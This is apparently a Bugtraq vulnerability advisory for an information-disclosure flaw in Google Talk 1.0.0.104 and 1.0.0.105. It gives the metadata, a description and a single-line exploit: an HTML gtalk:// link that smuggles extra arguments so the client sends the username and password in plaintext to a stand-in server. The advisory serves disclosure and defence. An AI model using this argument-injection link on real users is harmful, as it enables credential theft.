Google Talk '/gaiaserver' Parameter Information Disclosure Vulnerability

Bugtraq ID:	52669
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 22 2012 12:00AM
Updated:	Mar 19 2015 08:34AM
Credit:	rgod
Vulnerable:	Google Talk 1.0.0.105 Google Talk 1.0.0.104
Not Vulnerable:

Google Talk '/gaiaserver' Parameter Information Disclosure Vulnerability

Google Talk is prone to an information-disclosure vulnerability.

Successful exploits of this issue may allow an attacker to obtain sensitive information, such as username and password.

Google Talk versions 1.0.0.104 and 1.0.0.105 are vulnerable.

Google Talk '/gaiaserver' Parameter Information Disclosure Vulnerability

The following exploit is available:

<a href='gtalk://[email protected] ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20www.example.com:80%20/nomutex%20/'>chat with me</a>

Google Talk '/gaiaserver' Parameter Information Disclosure Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Google Talk '/gaiaserver' Parameter Information Disclosure Vulnerability

References:

• Google Talk Homepage (Google)